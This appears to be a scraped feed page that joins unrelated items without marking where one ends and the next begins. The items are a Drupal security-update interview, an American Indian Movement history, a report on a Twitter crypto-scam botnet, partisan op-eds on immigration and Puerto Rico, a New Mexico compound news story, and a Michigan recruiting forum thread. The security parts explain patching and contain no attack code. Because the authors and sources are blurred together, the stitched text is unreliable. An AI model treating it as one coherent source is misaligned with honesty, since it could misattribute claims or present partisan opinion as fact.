"the rules for property ownership in the Methodist Church (and most other churches with similar polity) go back over 100 years."

Yes, the exploitative rules that exist so that the church may accumulate tax exempt properties have been around for a long time.

          Debunking Trump's Racist Myth, Study Shows Immigrants Boosting US Healthcare, Not Draining It      Cache   Translate Page   Web Page Cache   
Jake Johnson, staff writer
With the Trump administration reportedly close to unveiling a xenophobic proposal that portrays immigrants as leeches who exploit government healthcare programs at tremendous cost to U.S. taxpayers, a new study published on Wednesday shows that—contrary to the White House's narrative—immigrants effectively subsidize the care of native-born Americans by paying more into the healthcare system than they receive in treatment.

          Mediacurrent: Break it Down For Me, Shrop: Tackling Drupal Security Update SA-CORE-2018-005      Cache   Translate Page   Web Page Cache   

Security maintenance — and the ability to apply security updates quickly — is part and parcel to open source project success. 

Updating is typically done as part of the normal software release cycle, however, there are times when a security advisory needs to be released ASAP. A strong incident response plan builds a first defense line to mitigate and patch vulnerabilities. 

But what does a successful security response look like in action?

On the heels of a recent Drupal security update on August 1, 2018, Mediacurrent’s Senior Project Manager Christine Flynn had the same question. To find out, she interviewed our Open Source Security Lead, Mark “shrop” Shropshire, to get a layperson’s perspective on the security team’s approach.

Christine and Shrop on a call

 

“An off-cycle Drupal security advisory dropped on August 1, 2018. What does that mean for folks who aren’t developers?”

Flynn: I was watching the Slack channel as our team fixed sites, and I got some idea of what was happening. I’m not going to jiggle anybody’s elbows while they’re applying a security update, but I’m really curious now that the fixes are all in. 

Shrop: The official Drupal Security Advisory came out late in the day, after Symphony published their announcement in the morning. There was also one from Zend.

Flynn: I read all of those links while the team was applying the security update, but I feel like I didn’t totally understand the implications. I’d love to get a better picture from you of what they mean.

Shrop: You bet! I hope you can hear me, I’m at a coffee shop right now.

Flynn: Are you on their unsecured WiFi?

Shrop: Nope! I’m on a hotspot and on VPN. It’s funny, the more you know about security, the more it changes what you do. Other people think you’re paranoid. But you’re not! You just understand the realities. 

Flynn: Ha! Why am I not surprised? All right, let’s dig in.

“What was the security update for?”

Shrop: Drupal Core was updated because there were some security releases for Symfony. We call those “upstream” in the biz, which means that Drupal depends on them, and they are actively worked on outside of Drupal. I understand the Symfony project worked closely with the Drupal Security Team to make sure Symfony and Drupal were both updated and ready to be announced publicly at the same time. Drupal version 8.5.6 pulls in the Symfony updates as part of the Drupal update process. 

Flynn: Was that the only update?

Shrop: No, at the same time, there was also an update to Zend Framework, but that was only an issue for users who were making use of modules or sites that used Zend Feed or Daictoros. There is a core issue to update the related Zend libraries for those who require or need the updates. 

“If not updated, what could a malicious user do to a site?”

Shrop: This is a hard one to answer this soon after the release of the security advisory. I’m going to do some checking to see if I can get more information on this for academic purposes, but the Drupal Security Team is not going to make any statements that could help someone attack a site. It is up to security teams and researchers to dig into the code and determine more about the risks involved.

Based on the Symfony project’s blog post, it appears that a specially crafted request could allow a user access to a URL they do not have access to, bypassing access control provided by web servers and caching mechanisms. That’s a fancy-pants way of saying that a website visitor could gain access to pages you don’t want them to see.

“When will we know more?”

Shrop: Within days - sometimes hours - we might start to see exploit methods posted on the Internet. Taking security seriously and responding quickly once a drupal.org security advisory is announced is a way to stay ahead of these concerns.

Mediacurrent doesn’t want to fearmonger, but it is better to be safe than sorry. That’s why I always push to update as soon as possible while weighing in on mitigating factors that may lessen the severity of the issue for a particular application. But I will keep digging. I’m curious! 

“If you had to tell a CEO or CFO the value that implementing this security update swiftly provided, what would you say? Let’s say this CEO does not have a strong background in technology or security.”

Flynn: I could see an executive with a strong public safety or physical security background being pretty understanding of why you want to apply a security update for a potential vulnerability quickly, but what if it’s someone who doesn’t have that experience, and isn’t a technologist?

Shrop: Check out this link from Acquia about the security update. This helped me so much. They published this shortly after the PSA came out, and although they’ve updated the text since then, they said at the time, “It is advised that customers set aside time for a core upgrade immediately following.” When I read, “immediately,” I knew that we had to get the update out within hours. If I was asked to get on a call with the executives from any company, at that point, I am confident. If Acquia is saying it, we need to do it. That’s enough to stand on with anybody. I’m not saying that the Acquia team has more information, but they have a very robust security team. They always dig in quickly. They have to, to know if they can mitigate the issue by adding web application firewall rules.

Flynn: Firewall rules? How does that work? 

Shrop: The last few core updates, Pantheon and Acquia put mitigations into their WAF - that’s Web Application Firewall. Pantheon confirmed the night of the security advisory release that they were blocking attempts on their platform, and Acquia did the same thing. So if someone tried to exploit a site that was hosted there before Drupal was updated, they were there, helping to prevent that site from being attacked successfully. It’s a great extra layer of protection. Now, me and Acquia and Pantheon will always still want to update Core on each site, because WAF-level mitigation might not catch everything. But I am super happy when I see it because there’s a good chance that it will catch anything that happens while a team is still implementing a security update.

Security is all risk assessment and mitigation. You want to layer defenses. And something like this, we are going to make sure we deal with this problem. That’s why Acquia, Pantheon, Platform.sh, and others in the community immediately add those extra mitigations to their firewalls. It’s to buy time so that people can get their updates in. That’s not where mitigation ends, but it helps. 

“What type of sites were affected by this? Does everyone use Symfony?”

Flynn: When I first read about the upcoming security advisory, I saw that it affected “third party libraries.” That made me think that some of our clients might not be affected because it would only affect certain modules. Can you tell me what types of sites were affected?

Shrop: Got a link for you, but basically, anything on Drupal 8 was affected. Drupal 8 uses components from the Symfony project. The Drupal community made the decision to use Symfony so that we didn’t have to maintain everything ourselves. So this is a great example of the power of open source, with the Symfony and Drupal security teams working together to release this fix. We all end up benefiting from having a larger community to fix issues. There’s no way an internal team working by themselves can write as secure applications on their own compared to open source software, in my opinion. It has nothing to do with how good you are, it’s the nature of development. With open source, you have a greater team with Drupal and then again, with Symfony, an even greater team to lean on. With each community that is included you are expanding your team and your ability to detect and prevent threats. 

“How was the security vulnerability discovered?”

Shrop: That’s generally never disclosed because you never want to tell malicious users how you found an opening. 

But we do have a few people to thank: Michael Cullum and @chaosversum were thanked by Symfony for separately reporting the two issues addressed in Symfony security releases. They also thanked Nicolas Grekas for implementing the fix. I would also give a huge thanks to Symfony and the Drupal Security Team for coming together to implement the fix and for coordinating the announcements. It’s hard work, and it shows the community at its best.

“So when we have an off-cycle security release, first the PSA comes out. Can you tell me a bit about what Mediacurrent does from the time the PSA comes out to just before the security advisory drops?”

Flynn: As someone on the team at Mediacurrent, I can see some of the things you do. But I’m wondering what else happens behind the scenes? 

Shrop: The first thing that happens is that I’m notified about the PSA coming out. I’m signed up for updates via email, Twitter, and RSS feeds from https://www.drupal.org/security, and so are a lot of other folks at Mediacurrent. Internally, we have some processes that we have standardized over time for how to deal with security updates that we follow across the company. We centralize information we have on the security PSA/advisory, recommend client communications, and talk about how to prepare as a team. We have multiple communication threads internally, as well, so no one can miss it. I send an email to the staff and I post in our Slack in a few places to get us ready.

Flynn: I know that we often clear time in advance for the team to implement the security updates.

Shrop: Yep. All of us share more information as a team as official information is released or as our own investigations reveal information. For example, early on the day the security advisory was released, our DevOps Lead, Joe Stewart, noticed that Symfony had put out a notice that they were also going to be releasing a security update that day, so that gave us a heads up that it might be related. We couldn’t know for sure until the security advisory actually came out, though. No one can do it by themselves, which is why we have a whole team working on it - it’s the only way to handle these things. ​​​​​​

Christine and Shrop on another call

“So then the security advisory drops. How did we go about fixing the issue?” 

Shrop: First, we reviewed the advisory to assess risk and for any mitigations that help determine how quickly we need to perform updates. With this advisory, it was needed pretty much immediately, so we started to update Drupal core for our clients and pushed to test environments. Our QA team performed regression testing related to the update. Once QA approved each update for each client, we worked with folks to approve the updates and release them to the live environments. 

The important points are to line everyone and everything up in advance, have the talent in-house who can work on clients of all shapes and sizes and needs, and then to work as a team to resolve the issue on every client site as quickly as possible. 

“Were there any sites that were trickier to update? Why?”

Shrop: Clients that were on older versions of Drupal Core, who had delayed upgrading, were harder to update. Every site was updated within a short time, regardless, but even though they started at the same time, those clients did not finish first, because there was more development and testing needed on each site.

Flynn: What was different about the process to update those sites? 

Shrop: If a client wasn’t on version 8.5.x, the lead technologist on the project had to work on an alternative update to secure the site or application, since there wasn’t a security update released for it. Figuring out an alternative process on the fly always introduces risk. It’s part of the value that we bring, that we have team members that have the expertise to evaluate that sort of thing. For example, we had one new client that was on an older version of Drupal 8 core. So one of our Senior Drupal Developers, Ryan Gibson, had to go in and determine what to do. He ended up updating Symfony itself to mitigate the risk. 

Flynn: I’m guessing that we are going to recommend to that client that we update Drupal core for them very soon?

Shrop: Yes. The big takeaway is you’re lowering your risk of problems by staying on the most recent, up-to-date minor version of Drupal 8. Version 8.5.x is current and stable right now, so you should be on that.

Flynn: Why would a client not update?

Shrop: There are always dynamics. I hear lots of good excuses, and I’m not exaggerating, they are good, real reasons! The client is busy, the client has multiple workstreams, it’s hard - but it is getting to a point where I want to recommend even more strongly to clients that it is more expensive to not upgrade. It is going to cost them more when there is an update because we have these additional evaluation and update tasks. The whole point of Drupal 8’s release cycle is to spread the maintenance cost over years rather than getting hit all at once. 

Flynn: And it introduces greater risk. A security breach is an order of magnitude more expensive than extra mitigation steps.

Shrop: Definitely.

“When is the next version of Drupal Core coming out?”

Shrop: Version 8.6.0 will be released in September. Our teams are already starting to test the early versions of this release on some of our projects. If a security update comes out in September, we want all of our clients to be prepared by being on the currently supported version of Drupal core. That way, they will receive security updates.

Flynn: One of the nice things about the Drupal development community is that they provide the betas of the next version of Drupal core so you can get ahead of the next release, right?

Shrop: Yes. When the community starts releasing betas or release candidates, especially release candidates, you want to start testing ahead of time. If you have a Drupal site, you can get your developers to test. If you find a problem, it may not be with your site, it might be an issue with Drupal core and this is a great opportunity to contribute your findings back to drupal.org and help the greater community. There might be a security release weeks after a version comes out and you want to be prepared to implement it.

Flynn: It goes back to risk mitigation.

Shrop: If you are on, say, an 8.2 site right now, you’re on the higher risk side, unfortunately. We advise our clients that it is in their best interest to be on the current, stable version. It costs our clients more in the long run if they don’t update on a steady basis.

Flynn: So if you’re on an older version of Drupal Core, you might not get an easy-to-implement security update when a vulnerability is discovered?

Shrop: The quotes from the Drupal Security team I really want to emphasize are, “Previous minor releases will become unsupported when a new minor release is published,” and, “Any additional security updates for officially unsupported branches are at the sole discretion of the security team.” This is important to understand. For the SA Core 2018-002 fix earlier this year they provided release updates for older versions of Drupal… but they didn’t have to. In the case of the fix last week, they did not.

“What was the best gif exchange of the Drupal core security update process?”

Flynn: I nominate this one, from mid-afternoon:

Slack Gif Example

Shrop: Definitely! 

“What story didn’t we tell yet?”

Shrop: I think we covered most of it. The last thing I’d put out there is for the technical folks reading this. You need to read the security advisories, join Drupal Slack, read what Acquia, Pantheon, and others are saying about each announcement. Then, you take all of that in and make your assessment of what actions you are going to recommend your organization take. This should lead your organization to a documented security plan that you follow. But, you know… 

Flynn: “Update all the things”?

Shrop: Exactly!

Brian Ward celebrates the anniversary of the formation of the American Indian Movement 50 years ago and the revitalization of resistance to U.S. settler-colonialism.

IN JULY 1968, the American Indian Movement (AIM) was founded in Minneapolis and became the organizational expression of the Red Power movement.

It was three months after Black uprisings shook cities across the country in the wake of Martin Luther King’s assassination, two months after the massive general strike in France, and a month before the brutal repression of anti-Vietnam war protests in Chicago outside the Democratic National Convention.

When we talk about the radicalization that happened in the 1960s and 1970s, we often forget about AIM and the Red Power movement, which were outgrowths of both centuries of resistance to settler-colonialism and the revolutionary fever of 1968.

On the 50th anniversary of founding, and in a time of renewed levels of Native resistance, it’s important to tell this story.


From Wounded Knee to “Termination”

On December 29, 1890, the 7th U.S. Cavalry killed at least 150 people — some estimate as many as 300 — at Wounded Knee, South Dakota, now located on the Pine Ridge Indian Reservation.

Many historians and Natives saw Wounded Knee as the turning point after a long fight against relentless U.S. capitalist expansion westward. The massacre is often cited as marking the end of the Indian Wars and the start of a full assimilation policy that would last until the 1970s.

But while Wounded Knee was a historic atrocity, the passage of the Dawes Act of 1887 marked the start of disastrous policy of forced assimilation. It systematically reduced the land held by Natives in the West, and attempted to integrate them into American capitalism by undoing any notion of collective ownership and “giving” 160 acres to each head of household.

One of the law’s most important provisions was that the surplus land was made available for settlers, railroads, corporations and national parks.

This time saw the forerunner of Donald Trump’s border policy of separating immigrant children from their families. Many Native children were ripped from their homes and sent to Indian boarding schools, which aimed to rid the children of their language and culture and teach them a trade to make them useful cogs in the U.S. economy.

Eventually, Franklin Delano Roosevelt’s “New Deal” government was pressured to pass the Indian Reorganization Act of 1934, which ended the Dawes Act and finally gave back some level of sovereignty to Indians by officially “creating” tribal government that were elected by the tribe. Tribal constitutions, however, had to be approved by the federal government and the constitutions could not contain any form of traditional governance.


The Conditions that Gave Rise to Red Power

By the 1950s, many American Indians lived either on extremely impoverished Indian reservations or within urban centers that were often referred to as Red Ghettos.

Natives had always come to cities for work, but this migration started to dramatically increase in 1953, when Congress passed House Concurrent Resolution 108, which called for the end of reservations and federal services and protections “as rapidly as possible.”

The policy of “termination,” as it was known, was aimed at total assimilation — and allowing the U.S. government to eliminate any type of land claim or treaty rights and finally end its “Indian Problem.”

Officials chose Native nations that they considered to be the most “advanced,” eliminated their reservations and federal relationship to Washington, and handed over jurisdiction to the state. The idea of nation-to-nation relationship and treaty rights would be abolished.

The Menominee Nation in northern Wisconsin was the first tribe to be terminated. It fell under the authority of the state, as though it were simply a county without any national identity. Menominee land became easier to sell and privatize so the county could maintain a tax base.

After the policy was implemented, the Menominee were devastated. If the federal government had its way, termination was going to be imposed on every other Native nation within the United States.

As part of the termination policy, one-way bus tickets were given to Natives to leave their reservations with the promise of good jobs, resulting in a influx of Natives into cities like Minneapolis, Milwaukee, Chicago, Seattle, Portland and San Francisco.

From 1960 to 1970, the percentage of Natives living in urban areas nearly doubled — from 28 to 44 percent. Today, 78 percent of Natives live off reservations and 72 percent live in cities or suburban areas.

This was the Indian version of the Great Migration of African Americans from the South to the North 100 years ago, except in this case, it was official government policy.

For the U.S. government, termination turned out to be a double-edged sword. It weakened Native communities, but also brought thousands of Indians together in cities, creating a pan-Indianism that hadn’t existed at least since Tecumseh’s efforts in the early 1800s to build multination resistance to Western expansion.

In cities and on reservations, American Indians faced racial profiling from the police and were one of the most disproportionately represented groups in prison. In 1968, at the time of AIM’s founding, Indians were about 10 percent of the population of Minneapolis and 70 percent of the city’s jail population.

Many of the founders of AIM first met while they were in prison. Clyde Bellecourt and Eddie Benton Banai were Ojibwe inmates in 1962 at Minnesota Stillwater Prison and started reading about the civil rights movement and the Black Panthers.

Their first taste of organizing was an education program with 47 Native prisoners. As Bellecourt recounts in Peter Matthiessen’s In the Spirit of Crazy Horse, “I guess we had the first real Indian Studies Program in the country.”

Many Indians in urban centers also started to fight for health care rights, which were guaranteed to many Natives in treaty rights. At the time, you couldn’t find an Indian Health Services outside a reservation.


The Birth of the American Indian Movement

As more and more Indians became radicalized by termination, unemployment and police violence, many took inspiration from the Black Power movement to develop their own Red Power.

In July 1968 in Minneapolis, Eddie Benton Banai, Clyde Bellecourt, George Mitchell and Dennis Banks founded what they first called the “Concerned Indian Americans.” Quickly recognizing the acronym problem, they renamed themselves the American Indian Movement.

The group’s original aim was fighting police violence in the Native neighborhood of Franklin. In their book Like a Hurricane, Paul Chaat Smith and Robert Allen Warrior describe the group’s original activities:

One of the first projects of the new group was the AIM Patrol. AIM raised money to equip cars with two-way radios, cameras and tape recorders so they could monitor arrests by the police department. When the AIM Patrol heard police dispatched to certain bars or street corners, officers would be met by Indians in red jackets carefully observing their actions. AIM also became expert at providing attorneys for those arrested. It was a tactic similar to Black Panther campaigns to monitor police in Oakland, California and other cities.

AIM’s political program was murky at first, but it evolved and developed through action and organizing into calling for self-determination and liberation.

AIM chapters started springing up everywhere in the country. The organization was growing at a rapid rate. Despite this, however, it faced the issue of disconnect from reservation people. Founded mainly by Minneapolis Ojibwe people (whose homelands are close to Lake Superior in Minnesota, Wisconsin and Michigan), AIM was an urban pan-Indian that didn’t have roots on reservations.

That changed dramatically in February 1972 after the murder of a Lakota man named Raymond Yellow Thunder in Gordon, Nebraska.

Gordon was a small town near the Pine Ridge Reservation. As in many reservation border towns, relations between Indian and white people were extremely strained. It wasn’t uncommon to hear people use the R-word and talk about the difference between “good” Indians and “bad” Indians.

That was the atmosphere in which Raymond Yellow Thunder was beaten to death by Melvin and Leslie Hare — who were charged only with assault and battery and released without bail. Yellow Thunder’s family in Pine Ridge sought assistance from both the tribe and the Bureau of Indian Affairs (BIA), but heard nothing.

That’s when the family turned to AIM, which brought caravan after caravan to Gordon alongside the Oglala Lakota people. AIM demanded justice for the murder of Yellow Thunder. Russell Means, who was Oglala Lakota, but grew up in the Bay Area, helped bridge the gap between AIM and the Lakota people in Pine Ridge.

This unexpected response by Indians inspired people all around the country and forced Gordon authoroies to impose higher charges and convict the Hare brothers.

Gordon was a turning point for AIM, which became a trusted organization to traditionals on Pine Ridge and around the country. AIM’s success no doubt frightened the government because it had shown the ability to bring together people who had been intentionally separated: urban and reservation Natives.

After its successful campaign in Gordon, AIM was emboldened and quickly put itself on the national map, bringing the issue of Indian liberation to the mainstream.

In November 1972, the group organized the Trail of Broken Treaties, in which more than 500 American Indians drove across the country to D.C. to discuss the treatment of Indigenous people with the BIA.

AIM developed a 20-point plan, including the restoration of Indians’ treaty-making authority (ended by Congress in 1871), abolition of the BIA (reminiscent of current calls to abolish ICE), and that all Indians should be governed by treaty relations. Activists kicked the BIA out and occupied the building for a few days on the eve of the 1972 presidential election.

AIM was also part of campaigns against racism in and around Indian Country in places like Rapid City, South Dakota. It called for better housing and continued its campaign against police brutality.


The Occupation of Wounded Knee

AIM’s most memorable action was the 71-day occupation of Wounded Knee in early 1973. As I wrote in a 2013 article about the occupation for SW:

In the 1970s, the Pine Ridge reservation, where Wounded Knee is located, was run like a Latin American dictatorship.

The U.S. government would funnel money to Dick Wilson, the tribal council president, who oversaw the reservation with an iron fist. Supporters of the radical AIM were hunted down by the Guardians of the Olgala Nation (GOON) squad, ending in numerous gun battles. The GOON squad worked closely with the FBI and the Bureau of Indian Affairs.

Wilson was so unpopular that reservation residents formed the Oglala Sioux Civil Rights Organization (OSCRO) to impeach him. Petitions were filed — one even had more signatures than the number of votes Wilson got in the preceding election. Blatantly showing his corruption, Wilson personally presided over the impeachment hearing and insured that it failed to remove him.

In response, residents appealed for help to AIM, which brought 300 armed Oglala Lakota and AIM activists to Wounded Knee, took over the church and trading post, blocked all the roads, took several white hostages (who in fact were there willingly) and declared it a liberated territory.

The demands were simple: get rid of Dick Wilson and have the federal government investigate treaties. But the government was worried that Wounded Knee would become an example that others would follow. A high-ranking BIA official expressed alarm over his view that Wounded Knee had “crystallized a revolutionary movement in the United States.”

Instead, the government response was with overwhelming force, as hundreds of FBI agents, federal marshals, BIA police and Dick Wilson’s GOON squad surrounded Wounded Knee.

By the end of the occupation, two American Indians, Buddy Lamont and Frank Clearwater, were killed and several others were wounded.

As the FBI escalated its attack on AIM, the occupation became harder and harder to sustain. With no electricity, and running water and supplies dwindling, the occupation pushed people to their limits. The occupation ended on May 8. The FBI came in and disarmed and arrested 120 people. However, many people had snuck out the night before, evading arrest.


Repression and Decline

AFTER THE occupation of Wounded Knee, AIM’s prominence started to diminish as the group suffered from two tactics of government repression.

First, the FBI’s COINTELPRO program infiltrated AIM and started to create a culture of paranoia and suspicion. It later emerged that Douglass Durham, the group’s security director and often Dennis Banks’ personal bodyguard, was an FBI informant.

The government shamefully framed Leonard Peltier for the murder of two FBI agents in a 1975 shootout at Pine Ridge, even as the FBI admitted that it did not know who killed the agents and was more concerned about putting Peltier behind bars.

Peltier was up for parole in 2009, but Barack Obama refused to pardon or commute his sentence. He is still serving two life sentences.

The government’s second tactic against AIM was to force those arrested at Wounded Knee to go through long drawn out court cases that the government couldn’t win but that would fatigue and bankrupt the organization. Across the country, AIM members were brought up on minor charges, but would still have to go to court and fight tooth and nail, though the cases often got thrown out. It was meant to bankrupt the organization.

The repression compounded internal divisions and debates. AIM’s leadership was male-dominated, with members like Dennis Banks and Russell Means the group’s public face.

Members like Madonna Thunderhawk and Janet McCloud saw the need for Native women to start their own organization, and formed Women of All Red Nations in 1974 to fight for American Indian women health, against mass sterilization of women and against racist mascots and culture appropriation.

Among their many achievements, AIM and the Red Power movement overturned the termination policy — including restoring the Menominee reservation — and forced the government to pass legislation that promoted self-determination.

The movement’s legacy lives strong through Indian Country, where you will now see countless hats and shirts that say “Native Pride” or “Native and proud of it.”

However, AIM’s goal of liberation is far from being met. Natives are still being targeted by the police. According to the Center on Juvenile and Criminal Justice, Native Americans only represent 0.8 percent of the population, but are 1.9 percent of those killed by police. Indians are also disproportionately represented in prison, and treaty rights are still an important struggle.

As we see a wave of Indigenous resistance on a scale not seen since the 1970s, with the rise of Idle No More in Canada, fights against pipelines at Standing Rock and countless other locations and the #NativeLivesMatter movement, its vital for us to learn the radical history of AIM.

The best way to honor that history is to continue to resist and fight racism and discrimination while calling on the U.S. for reparations and self-determination — and to put forward a vision of socialism and Native liberation that ends the exploitation of the earth and the destruction of Indigenous land, and puts the fight against capitalism and settler-colonialism at the core of our resistance.

This Crypto Scam Botnet Consists of Over 15,000 Separate Bots

Researchers at Duo Labs have discovered that Twitter is home to at least 15,000 scam bots and have published their findings in a new report.

Between May and July of 2018, staff members observed, collected and analyzed nearly 90 million public Twitter accounts that had released over 500 million tweets. In addition, researchers also examined elements of each account including profile screen names, number of followers, avatars and descriptions to gather one of the largest accumulations of Twitter data ever studied.

Among the report’s most interesting finds was a sophisticated “cryptocurrency scam botnet,” which consists of at least 15,000 separate bots. The botnet ultimately siphons money from individual users by posing as cryptocurrency exchanges, news organizations, verified accounts and even celebrities. Accounts in the botnet are programmed to deploy malicious behaviors to evade detection and look like real profiles.

Researchers were also able to map the botnet’s three-tiered structure, which consists of “hub” accounts that are followed by many bots, scam publishing bots, and amplification bots that specifically like tweets to increase their popularity and appear legitimate.

Olabode Anise, a data scientist and co-author of the report, explained, “Users are likely to trust a tweet depending on how many times it’s been retweeted or liked. Those behind this particular botnet know this and have designed it to exploit this very tendency.”

To discover the scam bots, researchers utilized subsets of varying machine-learning algorithms and built features that could train them to locate the bot accounts. Among the five considered algorithms were AdaBoost, Logistic Regression, Random Forest, Naive Bayes and Decision Trees. It was discovered that Random Forest outperformed the other algorithms during the initial testing phases. From there, three individual models of the algorithm were trained to deal with both social and crypto spam bots.

Researchers discovered that bot accounts follow certain behaviors, which, once identified, made them easier to recognize. For example, bot accounts often tweet in short bursts, causing the average times between messages to remain low, while actual Twitter users often wait longer periods between their tweets.

Some methods for evading discovery, however, are more sophisticated. Bots often use unicode characters in tweets rather than traditional ASCII characters. They also use screen names that are typos of spoofed accounts’ screen names, and add white spaces between words and punctuation marks. Profile pictures are also edited to prevent image detection. Finally, many bots appear to follow the same accounts.

Twitter has suspended cryptocurrency spam bots in the past and usually identifies fake accounts quickly. Nevertheless, executives appear to have missed several portions of the latest scam project.

A Twitter spokesperson claimed, “Spam and certain forms of automation are against Twitter’s rules. In many cases, spammy content is hidden on Twitter on the basis of automated detections. When spammy content is hidden on Twitter from areas like search and conversations, that may not affect its availability via the API. This means certain types of spam may be visible via Twitter’s API even if it is not visible on Twitter itself. Less than 5% of Twitter accounts are spam-related.”

There are effects that are certainly going to happen that are dangerous to some. But not so much to the well-connected wealthy leadership Republican Party or industry.

          US has been disastrous for PR      Cache   Translate Page   Web Page Cache   

How has the United States Government (USG) been disastrous for Puerto Rico? Let’s look at some of the history.

The USG:
·         Militarily Invaded Puerto Rico to make her its colony.
·         Forced Spain to give Puerto Rico to it as a war prize.
·         Ignored the fact that Puerto Rico had already obtained autonomy under the Autonomic Charter with Spain at the time of its invasion.
·         Installed a military government for 2 years in Puerto Rico.
·         Devaluated Puerto Rico’s currency 40%.
·         Classified Puerto Ricans as an inferior race to avoid having to extend its constitution to them. The USG legislated the non-incorporated territory for Puerto Rico. The United States (US) Supreme Court said that that means that Puerto Rico belongs to but is not a part of the US.
·         Makes laws against Puerto Ricans. A good example of this is the law that requires Puerto Rico to transport her goods only using US ships that are the most expensive in the world!
·         Forced US citizenship on Puerto Ricans to try to divert their national loyalty to the United States.
·         Lied to the United Nations in 1953 when it said that Puerto Rico had obtained self-government with the Commonwealth of  Puerto Rico to get her off its list of colonies.
·         Forced Puerto Rico to change certain parts of her so called “Constitution” for Washington to approve it.

Things have been so disastrous that more Puerto Ricans live out of  Puerto Ricans. Things has been so bad that more soldiers are recruited to the US military in Puerto Rico than in any of the 50 states of the Union. Does that mean that Puerto Ricans are more patriotic than the US citizens living in all the 50 states? No. That means that Puerto Ricans are more desperate! It has been 4 generations of US exploitation!  

Join the permanent resistance to force the USG to comply with the United Nations’ Charter and its 37 resolutions asking it to immediately return Puerto Rico’s sovereignty to the Puerto Ricans.

Join because, those that have caused so much disaster to Puerto Ricans don’t believe in LIBERTY AND IN JUSTICE FOR ALL! https://www.facebook.com/groups/1697349163904877/

New Mexico fugitive 'was training child to carry out school shootings'A man arrested in New Mexico last week on child abuse and abduction charges was training one of the 11 children at his remote desert encampment to carry out a school shooting, prosecutors have claimed. Siraj Wahhaj, 39, appeared before a magistrate in Taos, New Mexico, on Wednesday. He was arrested on Friday after police, searching for his missing four-year-old son Abdul-Ghani, raided the compound and found 11 starving, filthy children with five adults. Wahhaj and the four others – his wife Jany Leveille, 38, his sisters, Subhannah, 35, and Hujrah, 38, and Subhannah’s husband Lucas Morten - were charged with 11 counts of child abuse. Sheriff Jerry Hogrefe, who arrested Wahhaj and his associates after a day-long armed standoff, said his men planned "a tactical approach for our own safety, because we had learned the occupants were most likely heavily armed and considered extremist of the Muslim belief." The remote desert camp in New Mexico, which was raided on Friday The remains of a young boy, believed to be Wahhaj’s missing son, was found buried on the property, Mr Hogrefe said on Tuesday. On Wednesday it emerged that one of the 11 children taken into care had, according to prosecutors, told their foster parents that Wahhaj trained them to carry out a school shooting. The child was allegedly taught to fire an assault rifle, in readiness for the mission.  Tim Hasson, a prosecutor with the district court in Taos, requested that Wahhaj, son of a prominent Brooklyn imam, remain in custody and that his case be moved to the district court. His office has also filed motions to hold the other four defendants. The saga began in December, when Wahhaj told the boy’s mother he was taking their severely disabled child, unable to walk, to the park. A poster from the National Center for Missing & Exploited Children shows Abdul-ghani Wahhaj, left, and his father Siraj Wahhaj Credit:  National Center for Missing & Exploited Children He never returned to their home in Georgia, and the boy’s mother reported it to the police, saying Wahhaj intended to perform an “exorcism” on his son because Abdul-Ghani was “possessed by the Devil.” She later said that “exorcism” was a mistranslation, and that Wahhaj simply wanted to pray for his son. New Mexico authorities had long suspected the father and son might be at the compound after learning about the abduction in May, said Mr Hogrefe. But there was not enough evidence for a search warrant, and surveillance of the property did not identify the pair there. That changed on Thursday, when they received a note from inside the compound saying they were starving and thirsty. Mr Hogrefe said his men found Wahhaj in a "partly buried camper trailer" with two women and several of the children.  Wahhaj refused to come out with his hands up, and when investigators opened the door, they found Wahhaj "was armed with a loaded revolver in his pocket," and was "wearing a belt with five loaded 30-round AR15 magazines in pouches on the belt."  Next to Wahhaj was a loaded AR15, according to Mr Hogrefe's affidavit.  Wahhaj refused to give his name or identify anyone with him. He declined to say anything about his son Abdul's whereabouts, according to the court document.  Investigators found a 100-foot tunnel on the north side of the buried trailer, about three feet in diameter with two dugout "pockets" containing bedding, Mr Hogrefe said. Another enclosure made of straw and tires housed a makeshift toilet. There was no running water.   On the compound was a powerful Marlin 30-30 rifle with a scope, other guns, ammunition, a laptop, camcorder, and a Penguin child's nebulizer used to turn medicine into mist. Morten was arrested at the front of the property and initially charged with harbouring a fugitive. The child abuse charges were added later. "The living conditions, health and wellbeing of the children were deemed deplorable,” said Mr Hogrefe. “They had no clean water, food or electricity; dirty clothing, poor hygiene, and had not eaten or taken nutrition in what was believed to be days."

Quintel Kent Commits To Michigan Brian August 4th, 2018 at 3:36 PM

Michigan's picked up one of those three-star sleeper WRs out of Ohio, Quintel Kent:

Kent is rated outside the top 1000 by 24/7 and doesn't have a composite ranking or another Power 5 offer. Michigan's been pretty good about getting out ahead of the curve in this cycle, with several different commits seeing steep rises once the crootin sites caught up, but here they're really taking a swing at a deep sleeper. 24/7 only has five articles on him, all of which came after Michigan got involved.

Bill Greene does have a "commit analysis" that someone forgot to update the date on—it says it's from a week ago—that will probably be the bulk of the scouting on Kent for a while:

This is a very fundamentally sound, extremely solid and productive wide receiver, and Kent is probably a player that is being added for his versatility by Michigan. Keep in mind that this was not a player they offered based on film from October of 2017 like we are watching, but from a stellar camp appearance from June.

More on Monday.

Kent is rated outside the top 1000 by 24/7 and doesn't have a composite ranking or another Power 5 offer.

So he's this year's Ronnie Bell? Shouldn't Jim Harbaugh, who I think we all agree is a top 5 coach in the country, be able to recruit better at the WR position than this?

Very happy for this kid, but WR recruiting is borderline atrocious right now.

I LOVE the 2017 WR class, but you do realize that those guys aren't going to be here forever right? We've gotten four WR commits over the last 3 classes -two whom didn't have any power 5 offers, one whom is a high school quarterback, and the last of which isn't getting here for another two years. All of them are 3 star recruits. None of them are taller than 6 feet. You have to restock the cupboards every year. If you think this is an acceptable level of recruiting at Michigan then let's just agree to disagree.

Well, that was WITH the type of highly acclaimed WR croots you seem to exclusively value.

So it seems you may have more of a problem with the playcalling than the crooting?

Lets see what another type of OL coaching & some competent QB play can do for the pass game... um-kay?

Why did the QB's get injured? Because the OL sucked. Why did the OL suck? Because the scheme was too complicated and they recruited zero tackles in the 2016 recruiting class. Why did we have to rely on a bunch of freshman WR's? Because the WR's they signed in 2016 weren't any good.

I'm kind of over all the excuses for this coaching staff to be honest.

Well, if it makes you feel any better I'm kind of over the same barely-coherent complaints people have every time Michigan signs a new player that doesn't make then happy, to the point that they run to the commit post and make sure they are the first to comment on it.

Every time I see these types of recent accounts show up, one whose first comment appears to be a defense of Bluey, I just wonder if it's the same guy again.  I mean, the twitter feed that everyone sort of figured out was him has basically the same stream of complaints.

Yep valiantvictor is bluey aka Maizen. Same exact type of comments. Acts like he knows everything about recruiting because he has a 247 membership, uses quotes from Brian to prove his point, etc.

He's outed his new account on the first commit since his last banishing. Amazing this guy keeps making new accounts just to bitch about recruits and argue with everyone on the board. 

